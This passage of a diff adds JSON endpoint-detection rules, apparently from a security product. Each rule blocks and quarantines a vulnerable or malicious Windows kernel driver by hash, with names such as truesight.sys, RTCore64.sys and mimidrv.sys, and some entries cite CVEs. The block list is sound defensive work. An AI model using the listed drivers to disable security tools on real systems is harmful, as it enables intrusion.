+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829984Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb087998562cc6ac2fa31eb975d6d5cb112f05590a4c0026d7261b351ee66994",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5969a35-df2f-5d38-915a-25ea2f673383",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460322Z",
+  "creation_date": "2026-03-23T11:45:30.460325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460334Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bac1cd96ba242cdf29f8feac501110739f1524f0db1c8fcad59409e77b8928ba",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5a07acb-241c-57f5-a7ab-33ba4114581c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146655Z",
+  "creation_date": "2026-03-23T11:45:31.146657Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146663Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6ec76a3ae9ae2579d0aa7e44c6338a1436fbc28bbbeb2f586f3ccea31f7a6ec1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5a48ccf-bc66-5b65-a4f3-16546467a565",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808686Z",
+  "creation_date": "2026-03-23T11:45:31.808688Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808694Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "37299f468d95e1ad7b169792f34050353f95d6e57cd0a1e0d6b1c20f3481ee09",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5a978f5-9c98-5931-bb3c-b3c7ccd52133",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817696Z",
+  "creation_date": "2026-03-23T11:45:30.817698Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817703Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f9db97bd12d2d734ccd86045bae1fd5fbeed106ba5cfa519e6fcd9093c1c04a6",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5abb75d-c640-518e-8919-d129d537df61",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.818495Z",
+  "creation_date": "2026-03-23T11:45:31.818499Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.818508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "220b989ee7056dde3c5e1fbcc26b66ba23b14f3a2b1ea8ea943c7f58aa4b5a44",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5af8ee1-e553-5193-b423-131a20178fcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620107Z",
+  "creation_date": "2026-03-23T11:45:29.620110Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620115Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb71a8ecef692e74ae356e8cb734029b233185ee5c2ccb6cc87cc6b36bea65cf",
+  "comment": "Vulnerable Kernel Driver (aka semav6msr.sys) [https://www.loldrivers.io/drivers/142453a2-a24d-4b35-8922-6d5939f1c0fc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5bd0af1-0dc9-509c-b2b9-053a2bdb4866",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617501Z",
+  "creation_date": "2026-03-23T11:45:29.617503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617508Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7",
+  "comment": "ATI Technologies vulnerable GPU flash tool (aka atillk64.sys) [CVE-2020-12138] [https://www.loldrivers.io/drivers/61514cbd-6f34-4a3e-a022-9ecbccc16feb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5bf72f2-173f-5150-99bf-0fab059c4e03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.475730Z",
+  "creation_date": "2026-03-23T11:45:31.475735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.475745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be9a3cad35f1cc574c4ad806004a53d0d2b82e70f00677f15c2563fd93f911dc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5ccf01e-21f8-5477-b664-3faa190f953f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492179Z",
+  "creation_date": "2026-03-23T11:45:31.492181Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492186Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "70741d40dc7f0f7522b177846cdd4440c191f137642fa22c0eb86861dca5a6f0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5dfcda8-175d-5a20-bb22-5334588b69f5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976552Z",
+  "creation_date": "2026-03-23T11:45:29.976554Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976560Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45b9eee68266d1128bc252087f4a8ae18dbb0e0b6317e28bc248b25ca2431a56",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5e00e10-753d-565c-ad36-70b92a09e07c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145470Z",
+  "creation_date": "2026-03-23T11:45:32.145472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4fc254af8ebfa6fc1050f65c17015b39b36693b58f029c2fa1873976cbca52df",
+  "comment": "Malicious Kernel Driver (aka driver_4fc254af.sys) [https://www.loldrivers.io/drivers/85335187-dae0-4f06-acea-209efaf74973/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e5e549b9-d4de-5054-a238-0f6274817a01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984750Z",
+  "creation_date": "2026-03-23T11:45:29.984753Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984758Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a652de6b680d5ad92376ad323021850dab2c653abf06edf26120f7714b8e08a",
+  "comment": "Dangerous Physmem Kernel Driver (aka AsrIbDrv.Sys) [https://www.loldrivers.io/drivers/31797996-6973-402d-a4a0-d01ce51e02c0/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e603aef4-f3e1-532d-9aed-c91db07c7e56",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618407Z",
+  "creation_date": "2026-03-23T11:45:29.618409Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618415Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f583cfb8aab7d084dc052dbd0b9d56693308cbb26bd1b607c2aedf8ee2b25e44",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e63e5019-50e8-5685-b3c4-506e0ddea68a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827330Z",
+  "creation_date": "2026-03-23T11:45:31.827332Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827338Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5fbe174f035e18fdd51af52d73eee45479728e84c1e9bb38c2e70ebf77301291",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e63fbe78-6f81-5590-9e60-4927ced8ff0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.979777Z",
+  "creation_date": "2026-03-23T11:45:29.979779Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.979784Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9be868eb7e177ee6d762f2a022acf18b6b190fecbe445b3c09fc0494e8244ee8",
+  "comment": "Malicious Kernel Driver (aka windbg.sys) [https://www.loldrivers.io/drivers/da7314dc-6cf1-4d74-a0d1-796fc08944f8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e645793a-04ae-59fe-aed6-07603eb92b47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495023Z",
+  "creation_date": "2026-03-23T11:45:31.495025Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495030Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7788872dc0b5c9b870e18c1be9bfd50e42b3149aff2b6322f3c23f6a4a342342",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e650a3a2-df01-5f66-b36d-9868fd9b4f39",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968668Z",
+  "creation_date": "2026-03-23T11:45:29.968670Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "66a43661e2bd1e3c1d8f5c3eabd7a7861c5edad3d0fe54d52b26a5ce04f2d874",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e653e82d-b981-588d-baba-e5a8c5c93292",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159498Z",
+  "creation_date": "2026-03-23T11:45:31.159501Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159507Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91a13c74aaf017149e1ab5295b93fe98adaec813e6b33c36d7b3ca813e706961",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6562402-d386-5cb9-98a3-aa45e0672d4c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470553Z",
+  "creation_date": "2026-03-23T11:45:30.470556Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0fe7b0aaeb4b93840492f7d299a5ac481feb74296afcda1da4214db40856f003",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6654aca-70eb-5793-90c5-4b61d2300745",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.500121Z",
+  "creation_date": "2026-03-23T11:45:31.500124Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.500133Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ab650310346e12c495d166265324002af2fe2d71a8cba692a58790ec1a834d4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e6671165-9be8-5756-a65f-91c681131817",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972577Z",
+  "creation_date": "2026-03-23T11:45:29.972580Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972585Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b2f051ac901ab47d0012a1002cb8b2db28c14e9480c0dd55e1ac11c81ba9285",
+  "comment": "TG Soft vulnerable driver (aka viragt.sys and viragt64.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "e67dafc2-e245-5d0b-b63d-6fe9b653f5c1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982121Z",
+  "creation_date": "2026-03-23T11:45:29.982123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982129Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a",
